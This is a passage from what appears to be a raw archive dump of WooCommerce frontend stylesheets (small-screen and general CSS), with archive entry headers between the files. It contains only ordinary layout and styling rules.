.product-thumbnail{display:none}.woocommerce #content table.cart td.actions,.woocommerce table.cart td.actions,.woocommerce-page #content table.cart td.actions,.woocommerce-page table.cart td.actions{text-align:right}.woocommerce #content table.cart td.actions .coupon,.woocommerce table.cart td.actions .coupon,.woocommerce-page #content table.cart td.actions .coupon,.woocommerce-page table.cart td.actions .coupon{float:none;padding-bottom:.5em}.woocommerce #content table.cart td.actions .coupon::after,.woocommerce #content table.cart td.actions .coupon::before,.woocommerce table.cart td.actions .coupon::after,.woocommerce table.cart td.actions .coupon::before,.woocommerce-page #content table.cart td.actions .coupon::after,.woocommerce-page #content table.cart td.actions .coupon::before,.woocommerce-page table.cart td.actions .coupon::after,.woocommerce-page table.cart td.actions .coupon::before{content:" ";display:table}.woocommerce #content table.cart td.actions .coupon::after,.woocommerce table.cart td.actions .coupon::after,.woocommerce-page #content table.cart td.actions .coupon::after,.woocommerce-page table.cart td.actions .coupon::after{clear:both}.woocommerce #content table.cart td.actions .coupon .button,.woocommerce #content table.cart td.actions .coupon .input-text,.woocommerce #content table.cart td.actions .coupon input,.woocommerce table.cart td.actions .coupon .button,.woocommerce table.cart td.actions .coupon .input-text,.woocommerce table.cart td.actions .coupon input,.woocommerce-page #content table.cart td.actions .coupon .button,.woocommerce-page #content table.cart td.actions .coupon .input-text,.woocommerce-page #content table.cart td.actions .coupon input,.woocommerce-page table.cart td.actions .coupon .button,.woocommerce-page table.cart td.actions .coupon .input-text,.woocommerce-page table.cart td.actions .coupon input{width:48%;box-sizing:border-box}.woocommerce #content table.cart td.actions .coupon .button.alt,.woocommerce #content table.cart td.actions .coupon .input-text+.button,.woocommerce table.cart td.actions .coupon .button.alt,.woocommerce table.cart td.actions .coupon .input-text+.button,.woocommerce-page #content table.cart td.actions .coupon .button.alt,.woocommerce-page #content table.cart td.actions .coupon .input-text+.button,.woocommerce-page table.cart td.actions .coupon .button.alt,.woocommerce-page table.cart td.actions .coupon .input-text+.button{float:left}.woocommerce #content table.cart td.actions .button,.woocommerce table.cart td.actions .button,.woocommerce-page #content table.cart td.actions .button,.woocommerce-page table.cart td.actions .button{display:block;width:100%}.woocommerce .cart-collaterals .cart_totals,.woocommerce .cart-collaterals .cross-sells,.woocommerce .cart-collaterals .shipping_calculator,.woocommerce-page .cart-collaterals .cart_totals,.woocommerce-page .cart-collaterals .cross-sells,.woocommerce-page .cart-collaterals .shipping_calculator{width:100%;float:none;text-align:right}.woocommerce-page.woocommerce-checkout form.login .form-row,.woocommerce.woocommerce-checkout form.login .form-row{width:100%;float:none}.woocommerce #payment .terms,.woocommerce-page #payment .terms{text-align:right;padding:0}.woocommerce #payment #place_order,.woocommerce-page #payment #place_order{float:none;width:100%;box-sizing:border-box;margin-bottom:1em}.woocommerce .lost_reset_password .form-row-first,.woocommerce .lost_reset_password .form-row-last,.woocommerce-page .lost_reset_password .form-row-first,.woocommerce-page .lost_reset_password .form-row-last{width:100%;float:none;margin-left:0}.woocommerce-account .woocommerce-MyAccount-content,.woocommerce-account .woocommerce-MyAccount-navigation{float:none;width:100%}.single-product .twentythirteen .panel{padding-right:20px!important;padding-left:20px!important}PK     0w\6UZ"  "  1  woocommerce/css/build/woocommerce-smallscreen.cssnu [        /**
 * woocommerce-smallscreen.scss
 * Optimises the default WooCommerce frontend layout when viewed on smaller screens.
 */
/**
 * Imports
 */
/**
 * Deprecated
 * Fallback for bourbon equivalent
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Use bourbon mixin instead `@include transform(scale(1.5));`
 */
/**
 * Deprecated
 * Use bourbon mixin instead `@include box-sizing(border-box);`
 */
/**
 * Objects
 */
/**
 * WooCommerce CSS Variables
 */
:root {
  --woocommerce: #a46497;
  --wc-green: #7ad03a;
  --wc-red: #a00;
  --wc-orange: #ffba00;
  --wc-blue: #2ea2cc;
  --wc-primary: #a46497;
  --wc-primary-text: white;
  --wc-secondary: #ebe9eb;
  --wc-secondary-text: #515151;
  --wc-highlight: #77a464;
  --wc-highligh-text: white;
  --wc-content-bg: #fff;
  --wc-subtext: #767676;
}

/**
 * Style begins
 */
.woocommerce,
.woocommerce-page {
  /**
   * General layout
   */
  /**
   * Products
   */
  /**
   * Product Details
   */
  /**
   * Cart
   */
  /**
   * Checkout
   */
  /**
   * Account
   */
}
.woocommerce table.shop_table_responsive thead,
.woocommerce-page table.shop_table_responsive thead {
  display: none;
}
.woocommerce table.shop_table_responsive tbody tr:first-child td:first-child,
.woocommerce-page table.shop_table_responsive tbody tr:first-child td:first-child {
  border-top: 0;
}
.woocommerce table.shop_table_responsive tbody th,
.woocommerce-page table.shop_table_responsive tbody th {
  display: none;
}
.woocommerce table.shop_table_responsive tr,
.woocommerce-page table.shop_table_responsive tr {
  display: block;
}
.woocommerce table.shop_table_responsive tr td,
.woocommerce-page table.shop_table_responsive tr td {
  display: block;
  text-align: right !important;
}
.woocommerce table.shop_table_responsive tr td.order-actions,
.woocommerce-page table.shop_table_responsive tr td.order-actions {
  text-align: left !important;
}
.woocommerce table.shop_table_responsive tr td::before,
.woocommerce-page table.shop_table_responsive tr td::before {
  content: attr(data-title) ": ";
  font-weight: 700;
  float: left;
}
.woocommerce table.shop_table_responsive tr td.product-remove::before, .woocommerce table.shop_table_responsive tr td.actions::before,
.woocommerce-page table.shop_table_responsive tr td.product-remove::before,
.woocommerce-page table.shop_table_responsive tr td.actions::before {
  display: none;
}
.woocommerce table.shop_table_responsive tr:nth-child(2n) td,
.woocommerce-page table.shop_table_responsive tr:nth-child(2n) td {
  background-color: rgba(0, 0, 0, 0.025);
}
.woocommerce table.my_account_orders tr td.order-actions,
.woocommerce-page table.my_account_orders tr td.order-actions {
  text-align: left;
}
.woocommerce table.my_account_orders tr td.order-actions::before,
.woocommerce-page table.my_account_orders tr td.order-actions::before {
  display: none;
}
.woocommerce table.my_account_orders tr td.order-actions .button,
.woocommerce-page table.my_account_orders tr td.order-actions .button {
  float: none;
  margin: 0.125em 0.25em 0.125em 0;
}
.woocommerce .col2-set .col-1,
.woocommerce .col2-set .col-2,
.woocommerce-page .col2-set .col-1,
.woocommerce-page .col2-set .col-2 {
  float: none;
  width: 100%;
}
.woocommerce ul.products[class*=columns-] li.product,
.woocommerce-page ul.products[class*=columns-] li.product {
  width: 48%;
  float: left;
  clear: both;
  margin: 0 0 2.992em;
}
.woocommerce ul.products[class*=columns-] li.product:nth-child(2n),
.woocommerce-page ul.products[class*=columns-] li.product:nth-child(2n) {
  float: right;
  clear: none !important;
}
.woocommerce div.product div.images,
.woocommerce div.product div.summary,
.woocommerce #content div.product div.images,
.woocommerce #content div.product div.summary,
.woocommerce-page div.product div.images,
.woocommerce-page div.product div.summary,
.woocommerce-page #content div.product div.images,
.woocommerce-page #content div.product div.summary {
  float: none;
  width: 100%;
}
.woocommerce table.cart .product-thumbnail,
.woocommerce #content table.cart .product-thumbnail,
.woocommerce-page table.cart .product-thumbnail,
.woocommerce-page #content table.cart .product-thumbnail {
  display: none;
}
.woocommerce table.cart td.actions,
.woocommerce #content table.cart td.actions,
.woocommerce-page table.cart td.actions,
.woocommerce-page #content table.cart td.actions {
  text-align: left;
}
.woocommerce table.cart td.actions .coupon,
.woocommerce #content table.cart td.actions .coupon,
.woocommerce-page table.cart td.actions .coupon,
.woocommerce-page #content table.cart td.actions .coupon {
  float: none;
  *zoom: 1;
  padding-bottom: 0.5em;
}
.woocommerce table.cart td.actions .coupon::before, .woocommerce table.cart td.actions .coupon::after,
.woocommerce #content table.cart td.actions .coupon::before,
.woocommerce #content table.cart td.actions .coupon::after,
.woocommerce-page table.cart td.actions .coupon::before,
.woocommerce-page table.cart td.actions .coupon::after,
.woocommerce-page #content table.cart td.actions .coupon::before,
.woocommerce-page #content table.cart td.actions .coupon::after {
  content: " ";
  display: table;
}
.woocommerce table.cart td.actions .coupon::after,
.woocommerce #content table.cart td.actions .coupon::after,
.woocommerce-page table.cart td.actions .coupon::after,
.woocommerce-page #content table.cart td.actions .coupon::after {
  clear: both;
}
.woocommerce table.cart td.actions .coupon input,
.woocommerce table.cart td.actions .coupon .button,
.woocommerce table.cart td.actions .coupon .input-text,
.woocommerce #content table.cart td.actions .coupon input,
.woocommerce #content table.cart td.actions .coupon .button,
.woocommerce #content table.cart td.actions .coupon .input-text,
.woocommerce-page table.cart td.actions .coupon input,
.woocommerce-page table.cart td.actions .coupon .button,
.woocommerce-page table.cart td.actions .coupon .input-text,
.woocommerce-page #content table.cart td.actions .coupon input,
.woocommerce-page #content table.cart td.actions .coupon .button,
.woocommerce-page #content table.cart td.actions .coupon .input-text {
  width: 48%;
  box-sizing: border-box;
}
.woocommerce table.cart td.actions .coupon .input-text + .button,
.woocommerce table.cart td.actions .coupon .button.alt,
.woocommerce #content table.cart td.actions .coupon .input-text + .button,
.woocommerce #content table.cart td.actions .coupon .button.alt,
.woocommerce-page table.cart td.actions .coupon .input-text + .button,
.woocommerce-page table.cart td.actions .coupon .button.alt,
.woocommerce-page #content table.cart td.actions .coupon .input-text + .button,
.woocommerce-page #content table.cart td.actions .coupon .button.alt {
  float: right;
}
.woocommerce table.cart td.actions .button,
.woocommerce #content table.cart td.actions .button,
.woocommerce-page table.cart td.actions .button,
.woocommerce-page #content table.cart td.actions .button {
  display: block;
  width: 100%;
}
.woocommerce .cart-collaterals .cart_totals,
.woocommerce .cart-collaterals .shipping_calculator,
.woocommerce .cart-collaterals .cross-sells,
.woocommerce-page .cart-collaterals .cart_totals,
.woocommerce-page .cart-collaterals .shipping_calculator,
.woocommerce-page .cart-collaterals .cross-sells {
  width: 100%;
  float: none;
  text-align: left;
}
.woocommerce.woocommerce-checkout form.login .form-row,
.woocommerce-page.woocommerce-checkout form.login .form-row {
  width: 100%;
  float: none;
}
.woocommerce #payment .terms,
.woocommerce-page #payment .terms {
  text-align: left;
  padding: 0;
}
.woocommerce #payment #place_order,
.woocommerce-page #payment #place_order {
  float: none;
  width: 100%;
  box-sizing: border-box;
  margin-bottom: 1em;
}
.woocommerce .lost_reset_password .form-row-first,
.woocommerce .lost_reset_password .form-row-last,
.woocommerce-page .lost_reset_password .form-row-first,
.woocommerce-page .lost_reset_password .form-row-last {
  width: 100%;
  float: none;
  margin-right: 0;
}

.woocommerce-account .woocommerce-MyAccount-navigation,
.woocommerce-account .woocommerce-MyAccount-content {
  float: none;
  width: 100%;
}

/**
 * Twenty Thirteen specific styles
 */
.single-product .twentythirteen .panel {
  padding-left: 20px !important;
  padding-right: 20px !important;
}
PK     0w\a
* * %  woocommerce/css/build/woocommerce.cssnu [        @charset "UTF-8";
/**
 * woocommerce.scss
 * Governs the general look and feel of WooCommerce sections of stores using themes that do not
 * integrate with WooCommerce specifically.
 */
/**
 * Imports
 */
/**
 * Deprecated
 * Fallback for bourbon equivalent
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Use bourbon mixin instead `@include transform(scale(1.5));`
 */
/**
 * Deprecated
 * Use bourbon mixin instead `@include box-sizing(border-box);`
 */
/**
 * Objects
 */
/**
 * WooCommerce CSS Variables
 */
:root {
  --woocommerce: #a46497;
  --wc-green: #7ad03a;
  --wc-red: #a00;
  --wc-orange: #ffba00;
  --wc-blue: #2ea2cc;
  --wc-primary: #a46497;
  --wc-primary-text: white;
  --wc-secondary: #ebe9eb;
  --wc-secondary-text: #515151;
  --wc-highlight: #77a464;
  --wc-highligh-text: white;
  --wc-content-bg: #fff;
  --wc-subtext: #767676;
}

/**
 * _animation.scss
 * Custom WooCommerce Animations.
 */
@keyframes spin {
  100% {
    transform: rotate(360deg);
  }
}
/**
 * _fonts.scss
 * Custom WooCommerce fonts.
 */
@font-face {
  font-family: "star";
  src: url("../../../../../../plugins/woocommerce/assets/fonts/star.eot");
  src: url("../../../../../../plugins/woocommerce/assets/fonts/star.eot?#iefix") format("embedded-opentype"), url("../../../../../../plugins/woocommerce/assets/fonts/star.woff") format("woff"), url("../../../../../../plugins/woocommerce/assets/fonts/star.ttf") format("truetype"), url("../../../../../../plugins/woocommerce/assets/fonts/star.svg#star") format("svg");
  font-weight: normal;
  font-style: normal;
}
@font-face {
  font-family: "WooCommerce";
  src: url("../../../../../../plugins/woocommerce/assets/fonts/WooCommerce.eot");
  src: url("../../../../../../plugins/woocommerce/assets/fonts/WooCommerce.eot?#iefix") format("embedded-opentype"), url("../../../../../../plugins/woocommerce/assets/fonts/WooCommerce.woff") format("woff"), url("../../../../../../plugins/woocommerce/assets/fonts/WooCommerce.ttf") format("truetype"), url("../../../../../../plugins/woocommerce/assets/fonts/WooCommerce.svg#WooCommerce") format("svg");
  font-weight: normal;
  font-style: normal;
}
/**
 * Global styles
 */
p.demo_store,
.woocommerce-store-notice {
  position: absolute;
  top: 0;
  left: 0;
  right: 0;
  margin: 0;
  width: 100%;
  font-size: 1em;
  padding: 1em 0;
  text-align: center;
  background-color: #a46497;
  color: white;
  z-index: 99998;
  box-shadow: 0 1px 1em rgba(0, 0, 0, 0.2);
  display: none;
}
p.demo_store a,
.woocommerce-store-notice a {
  color: white;
  text-decoration: underline;
}

.screen-reader-text {
  clip: rect(1px, 1px, 1px, 1px);
  height: 1px;
  overflow: hidden;
  position: absolute !important;
  width: 1px;
  word-wrap: normal !important;
}

.admin-bar p.demo_store {
  top: 32px;
}

/**
 * Utility classes
 */
.clear {
  clear: both;
}

/**
 * Main WooCommerce styles
 */
.woocommerce {
  /**
   * Product Page
   */
  /**
   * Product loops
   */
  /**
   * Buttons
   */
  /**
   * Reviews
   */
  /**
   * Star ratings
   */
  /**
   * Tables
   */
  /**
   * Cart sidebar
   */
  /**
   * Forms
   */
  /**
   * Order page
   */
  /**
   * Layered nav widget
   */
  /**
   * Price filter widget
   */
  /**
   * Rating Filter Widget
   */
}
.woocommerce .blockUI.blockOverlay {
  position: relative;
}
.woocommerce a.remove {
  display: block;
  font-size: 1.5em;
  height: 1em;
  width: 1em;
  text-align: center;
  line-height: 1;
  border-radius: 100%;
  color: red;
  text-decoration: none;
  font-weight: 700;
  border: 0;
}
.woocommerce a.remove:hover {
  color: #fff !important;
  background: red;
}
.woocommerce small.note {
  display: block;
  color: #767676;
  font-size: 0.857em;
  margin-top: 10px;
}
.woocommerce .woocommerce-breadcrumb {
  *zoom: 1;
  margin: 0 0 1em;
  padding: 0;
  font-size: 0.92em;
  color: #767676;
}
.woocommerce .woocommerce-breadcrumb::before, .woocommerce .woocommerce-breadcrumb::after {
  content: " ";
  display: table;
}
.woocommerce .woocommerce-breadcrumb::after {
  clear: both;
}
.woocommerce .woocommerce-breadcrumb a {
  color: #767676;
}
.woocommerce .quantity .qty {
  width: 3.631em;
  text-align: center;
}
.woocommerce div.product {
  margin-bottom: 0;
  position: relative;
}
.woocommerce div.product .product_title {
  clear: none;
  margin-top: 0;
  padding: 0;
}
.woocommerce div.product span.price,
.woocommerce div.product p.price {
  color: #77a464;
  font-size: 1.25em;
}
.woocommerce div.product span.price ins,
.woocommerce div.product p.price ins {
  background: inherit;
  font-weight: 700;
  display: inline-block;
}
.woocommerce div.product span.price del,
.woocommerce div.product p.price del {
  opacity: 0.5;
  display: inline-block;
}
.woocommerce div.product p.stock {
  font-size: 0.92em;
}
.woocommerce div.product .stock {
  color: #77a464;
}
.woocommerce div.product .woocommerce-product-rating {
  margin-bottom: 1.618em;
}
.woocommerce div.product div.images {
  margin-bottom: 2em;
}
.woocommerce div.product div.images img {
  display: block;
  width: 100%;
  height: auto;
  box-shadow: none;
}
.woocommerce div.product div.images div.thumbnails {
  padding-top: 1em;
}
.woocommerce div.product div.images.woocommerce-product-gallery {
  position: relative;
}
.woocommerce div.product div.images .woocommerce-product-gallery__wrapper {
  transition: all cubic-bezier(0.795, -0.035, 0, 1) 0.5s;
  margin: 0;
  padding: 0;
  vertical-align: top;
}
.woocommerce div.product div.images .woocommerce-product-gallery__wrapper .zoomImg {
  background-color: #fff;
  opacity: 0;
}
.woocommerce div.product div.images .woocommerce-product-gallery__image--placeholder {
  border: 1px solid #f2f2f2;
}
.woocommerce div.product div.images .woocommerce-product-gallery__image:nth-child(n+2) {
  width: 25%;
  display: inline-block;
}
.woocommerce div.product div.images .woocommerce-product-gallery__trigger {
  position: absolute;
  top: 0.5em;
  right: 0.5em;
  font-size: 2em;
  z-index: 9;
  width: 36px;
  height: 36px;
  background: #fff;
  text-indent: -9999px;
  border-radius: 100%;
  box-sizing: content-box;
}
.woocommerce div.product div.images .woocommerce-product-gallery__trigger::before {
  content: "";
  display: block;
  width: 10px;
  height: 10px;
  border: 2px solid #000;
  border-radius: 100%;
  position: absolute;
  top: 9px;
  left: 9px;
  box-sizing: content-box;
}
.woocommerce div.product div.images .woocommerce-product-gallery__trigger::after {
  content: "";
  display: block;
  width: 2px;
  height: 8px;
  background: #000;
  border-radius: 6px;
  position: absolute;
  top: 19px;
  left: 22px;
  transform: rotate(-45deg);
  box-sizing: content-box;
}
.woocommerce div.product div.images .flex-control-thumbs {
  overflow: hidden;
  zoom: 1;
  margin: 0;
  padding: 0;
}
.woocommerce div.product div.images .flex-control-thumbs li {
  width: 25%;
  float: left;
  margin: 0;
  list-style: none;
}
.woocommerce div.product div.images .flex-control-thumbs li img {
  cursor: pointer;
  opacity: 0.5;
  margin: 0;
}
.woocommerce div.product div.images .flex-control-thumbs li img.flex-active, .woocommerce div.product div.images .flex-control-thumbs li img:hover {
  opacity: 1;
}
.woocommerce div.product .woocommerce-product-gallery--columns-3 .flex-control-thumbs li:nth-child(3n+1) {
  clear: left;
}
.woocommerce div.product .woocommerce-product-gallery--columns-4 .flex-control-thumbs li:nth-child(4n+1) {
  clear: left;
}
.woocommerce div.product .woocommerce-product-gallery--columns-5 .flex-control-thumbs li:nth-child(5n+1) {
  clear: left;
}
.woocommerce div.product div.summary {
  margin-bottom: 2em;
}
.woocommerce div.product div.social {
  text-align: right;
  margin: 0 0 1em;
}
.woocommerce div.product div.social span {
  margin: 0 0 0 2px;
}
.woocommerce div.product div.social span span {
  margin: 0;
}
.woocommerce div.product div.social span .stButton .chicklets {
  padding-left: 16px;
  width: 0;
}
.woocommerce div.product div.social iframe {
  float: left;
  margin-top: 3px;
}
.woocommerce div.product .woocommerce-tabs ul.tabs {
  list-style: none;
  padding: 0 0 0 1em;
  margin: 0 0 1.618em;
  overflow: hidden;
  position: relative;
}
.woocommerce div.product .woocommerce-tabs ul.tabs li {
  border: 1px solid #d3ced2;
  background-color: #ebe9eb;
  display: inline-block;
  position: relative;
  z-index: 0;
  border-radius: 4px 4px 0 0;
  margin: 0 -5px;
  padding: 0 1em;
}
.woocommerce div.product .woocommerce-tabs ul.tabs li a {
  display: inline-block;
  padding: 0.5em 0;
  font-weight: 700;
  color: #515151;
  text-decoration: none;
}
.woocommerce div.product .woocommerce-tabs ul.tabs li a:hover {
  text-decoration: none;
  color: #6b6b6b;
}
.woocommerce div.product .woocommerce-tabs ul.tabs li.active {
  background: #fff;
  z-index: 2;
  border-bottom-color: #fff;
}
.woocommerce div.product .woocommerce-tabs ul.tabs li.active a {
  color: inherit;
  text-shadow: inherit;
}
.woocommerce div.product .woocommerce-tabs ul.tabs li.active::before {
  box-shadow: 2px 2px 0 #fff;
}
.woocommerce div.product .woocommerce-tabs ul.tabs li.active::after {
  box-shadow: -2px 2px 0 #fff;
}
.woocommerce div.product .woocommerce-tabs ul.tabs li::before, .woocommerce div.product .woocommerce-tabs ul.tabs li::after {
  border: 1px solid #d3ced2;
  position: absolute;
  bottom: -1px;
  width: 5px;
  height: 5px;
  content: " ";
  box-sizing: border-box;
}
.woocommerce div.product .woocommerce-tabs ul.tabs li::before {
  left: -5px;
  border-bottom-right-radius: 4px;
  border-width: 0 1px 1px 0;
  box-shadow: 2px 2px 0 #ebe9eb;
}
.woocommerce div.product .woocommerce-tabs ul.tabs li::after {
  right: -5px;
  border-bottom-left-radius: 4px;
  border-width: 0 0 1px 1px;
  box-shadow: -2px 2px 0 #ebe9eb;
}
.woocommerce div.product .woocommerce-tabs ul.tabs::before {
  position: absolute;
  content: " ";
  width: 100%;
  bottom: 0;
  left: 0;
  border-bottom: 1px solid #d3ced2;
  z-index: 1;
}
.woocommerce div.product .woocommerce-tabs .panel {
  margin: 0 0 2em;
  padding: 0;
}
.woocommerce div.product p.cart {
  margin-bottom: 2em;
  *zoom: 1;
}
.woocommerce div.product p.cart::before, .woocommerce div.product p.cart::after {
  content: " ";
  display: table;
}
.woocommerce div.product p.cart::after {
  clear: both;
}
.woocommerce div.product form.cart {
  margin-bottom: 2em;
  *zoom: 1;
}
.woocommerce div.product form.cart::before, .woocommerce div.product form.cart::after {
  content: " ";
  display: table;
}
.woocommerce div.product form.cart::after {
  clear: both;
}
.woocommerce div.product form.cart div.quantity {
  float: left;
  margin: 0 4px 0 0;
}
.woocommerce div.product form.cart table {
  border-width: 0 0 1px;
}
.woocommerce div.product form.cart table td {
  padding-left: 0;
}
.woocommerce div.product form.cart table div.quantity {
  float: none;
  margin: 0;
}
.woocommerce div.product form.cart table small.stock {
  display: block;
  float: none;
}
.woocommerce div.product form.cart .variations {
  margin-bottom: 1em;
  border: 0;
  width: 100%;
}
.woocommerce div.product form.cart .variations td,
.woocommerce div.product form.cart .variations th {
  border: 0;
  vertical-align: top;
  line-height: 2em;
}
.woocommerce div.product form.cart .variations label {
  font-weight: 700;
}
.woocommerce div.product form.cart .variations select {
  max-width: 100%;
  min-width: 75%;
  display: inline-block;
  margin-right: 1em;
}
.woocommerce div.product form.cart .variations td.label {
  padding-right: 1em;
}
.woocommerce div.product form.cart .woocommerce-variation-description p {
  margin-bottom: 1em;
}
.woocommerce div.product form.cart .reset_variations {
  visibility: hidden;
  font-size: 0.83em;
}
.woocommerce div.product form.cart .wc-no-matching-variations {
  display: none;
}
.woocommerce div.product form.cart .button {
  vertical-align: middle;
  float: left;
}
.woocommerce div.product form.cart .group_table td.woocommerce-grouped-product-list-item__label {
  padding-right: 1em;
  padding-left: 1em;
}
.woocommerce div.product form.cart .group_table td {
  vertical-align: top;
  padding-bottom: 0.5em;
  border: 0;
}
.woocommerce div.product form.cart .group_table td:first-child {
  width: 4em;
  text-align: center;
}
.woocommerce div.product form.cart .group_table .wc-grouped-product-add-to-cart-checkbox {
  display: inline-block;
  width: auto;
  margin: 0 auto;
  transform: scale(1.5, 1.5);
}
.woocommerce span.onsale {
  min-height: 3.236em;
  min-width: 3.236em;
  padding: 0.202em;
  font-size: 1em;
  font-weight: 700;
  position: absolute;
  text-align: center;
  line-height: 3.236;
  top: -0.5em;
  left: -0.5em;
  margin: 0;
  border-radius: 100%;
  background-color: #77a464;
  color: white;
  font-size: 0.857em;
  z-index: 9;
}
.woocommerce .products ul,
.woocommerce ul.products {
  margin: 0 0 1em;
  padding: 0;
  list-style: none outside;
  clear: both;
  *zoom: 1;
}
.woocommerce .products ul::before, .woocommerce .products ul::after,
.woocommerce ul.products::before,
.woocommerce ul.products::after {
  content: " ";
  display: table;
}
.woocommerce .products ul::after,
.woocommerce ul.products::after {
  clear: both;
}
.woocommerce .products ul li,
.woocommerce ul.products li {
  list-style: none outside;
}
.woocommerce ul.products li.product {
  /*.price {
      color: $highlight;
      display: block;
      font-weight: normal;
      margin-bottom: 0.5em;
      font-size: 0.857em;

      del {
          color: inherit;
          opacity: 0.5;
          display: inline-block;
      }

      ins {
          background: none;
          font-weight: 700;
          display: inline-block;
      }

      .from {
          font-size: 0.67em;
          margin: -2px 0 0 0;
          text-transform: uppercase;
          color: rgba(desaturate($highlight, 75%), 0.5);
      }
  }*/
}
.woocommerce ul.products li.product .onsale {
  top: 0;
  right: 0;
  left: auto;
  margin: -0.5em -0.5em 0 0;
}
.woocommerce ul.products li.product a {
  text-decoration: none;
}
.woocommerce ul.products li.product a img {
  width: 100%;
  height: auto;
  display: block;
  box-shadow: none;
}
.woocommerce ul.products li.product strong {
  display: block;
}
.woocommerce ul.products li.product .woocommerce-placeholder {
  border: 1px solid #f2f2f2;
}
.woocommerce ul.products li.product .star-rating {
  font-size: 0.857em;
}
.woocommerce ul.products li.product .button {
  margin-top: 1em;
}
.woocommerce .woocommerce-result-count {
  margin: 0 0 1em;
}
.woocommerce .woocommerce-ordering {
  margin: 0 0 1em;
}
.woocommerce .woocommerce-ordering select {
  vertical-align: top;
}
.woocommerce nav.woocommerce-pagination {
  text-align: center;
}
.woocommerce nav.woocommerce-pagination ul {
  display: inline-block;
  white-space: nowrap;
  padding: 0;
  clear: both;
  border: 1px solid #d3ced2;
  border-right: 0;
  margin: 1px;
}
.woocommerce nav.woocommerce-pagination ul li {
  border-right: 1px solid #d3ced2;
  padding: 0;
  margin: 0;
  float: left;
  display: inline;
  overflow: hidden;
}
.woocommerce nav.woocommerce-pagination ul li a,
.woocommerce nav.woocommerce-pagination ul li span {
  margin: 0;
  text-decoration: none;
  padding: 0;
  line-height: 1;
  font-size: 1em;
  font-weight: normal;
  padding: 0.5em;
  min-width: 1em;
  display: block;
}
.woocommerce nav.woocommerce-pagination ul li span.current,
.woocommerce nav.woocommerce-pagination ul li a:hover,
.woocommerce nav.woocommerce-pagination ul li a:focus {
  background: #ebe9eb;
  color: #8a7e88;
}
.woocommerce a.button,
.woocommerce button.button,
.woocommerce input.button,
.woocommerce #respond input#submit {
  font-size: 100%;
  margin: 0;
  line-height: 1;
  cursor: pointer;
  position: relative;
  text-decoration: none;
  overflow: visible;
  padding: 0.618em 1em;
  font-weight: 700;
  border-radius: 3px;
  left: auto;
  color: #515151;
  background-color: #ebe9eb;
  border: 0;
  display: inline-block;
  background-image: none;
  box-shadow: none;
  text-shadow: none;
}
.woocommerce a.button.loading,
.woocommerce button.button.loading,
.woocommerce input.button.loading,
.woocommerce #respond input#submit.loading {
  opacity: 0.25;
}
.woocommerce a.button.loading::after,
.woocommerce button.button.loading::after,
.woocommerce input.button.loading::after,
.woocommerce #respond input#submit.loading::after {
  font-family: "WooCommerce";
  content: "";
  vertical-align: top;
  font-weight: 400;
  position: absolute;
  top: 0.618em;
  right: 1em;
  animation: spin 2s linear infinite;
}
.woocommerce a.button.added::after,
.woocommerce button.button.added::after,
.woocommerce input.button.added::after,
.woocommerce #respond input#submit.added::after {
  font-family: "WooCommerce";
  content: "";
  margin-left: 0.53em;
  vertical-align: bottom;
}
.woocommerce a.button:hover,
.woocommerce button.button:hover,
.woocommerce input.button:hover,
.woocommerce #respond input#submit:hover {
  background-color: #dfdcde;
  text-decoration: none;
  background-image: none;
  color: #515151;
}
.woocommerce a.button.alt,
.woocommerce button.button.alt,
.woocommerce input.button.alt,
.woocommerce #respond input#submit.alt {
  background-color: #a46497;
  color: white;
  -webkit-font-smoothing: antialiased;
}
.woocommerce a.button.alt:hover,
.woocommerce button.button.alt:hover,
.woocommerce input.button.alt:hover,
.woocommerce #respond input#submit.alt:hover {
  background-color: #96588a;
  color: white;
}
.woocommerce a.button.alt.disabled, .woocommerce a.button.alt:disabled, .woocommerce a.button.alt:disabled[disabled], .woocommerce a.button.alt.disabled:hover, .woocommerce a.button.alt:disabled:hover, .woocommerce a.button.alt:disabled[disabled]:hover,
.woocommerce button.button.alt.disabled,
.woocommerce button.button.alt:disabled,
.woocommerce button.button.alt:disabled[disabled],
.woocommerce button.button.alt.disabled:hover,
.woocommerce button.button.alt:disabled:hover,
.woocommerce button.button.alt:disabled[disabled]:hover,
.woocommerce input.button.alt.disabled,
.woocommerce input.button.alt:disabled,
.woocommerce input.button.alt:disabled[disabled],
.woocommerce input.button.alt.disabled:hover,
.woocommerce input.button.alt:disabled:hover,
.woocommerce input.button.alt:disabled[disabled]:hover,
.woocommerce #respond input#submit.alt.disabled,
.woocommerce #respond input#submit.alt:disabled,
.woocommerce #respond input#submit.alt:disabled[disabled],
.woocommerce #respond input#submit.alt.disabled:hover,
.woocommerce #respond input#submit.alt:disabled:hover,
.woocommerce #respond input#submit.alt:disabled[disabled]:hover {
  background-color: #a46497;
  color: white;
}
.woocommerce a.button:disabled, .woocommerce a.button.disabled, .woocommerce a.button:disabled[disabled],
.woocommerce button.button:disabled,
.woocommerce button.button.disabled,
.woocommerce button.button:disabled[disabled],
.woocommerce input.button:disabled,
.woocommerce input.button.disabled,
.woocommerce input.button:disabled[disabled],
.woocommerce #respond input#submit:disabled,
.woocommerce #respond input#submit.disabled,
.woocommerce #respond input#submit:disabled[disabled] {
  color: inherit;
  cursor: not-allowed;
  opacity: 0.5;
  padding: 0.618em 1em;
}
.woocommerce a.button:disabled:hover, .woocommerce a.button.disabled:hover, .woocommerce a.button:disabled[disabled]:hover,
.woocommerce button.button:disabled:hover,
.woocommerce button.button.disabled:hover,
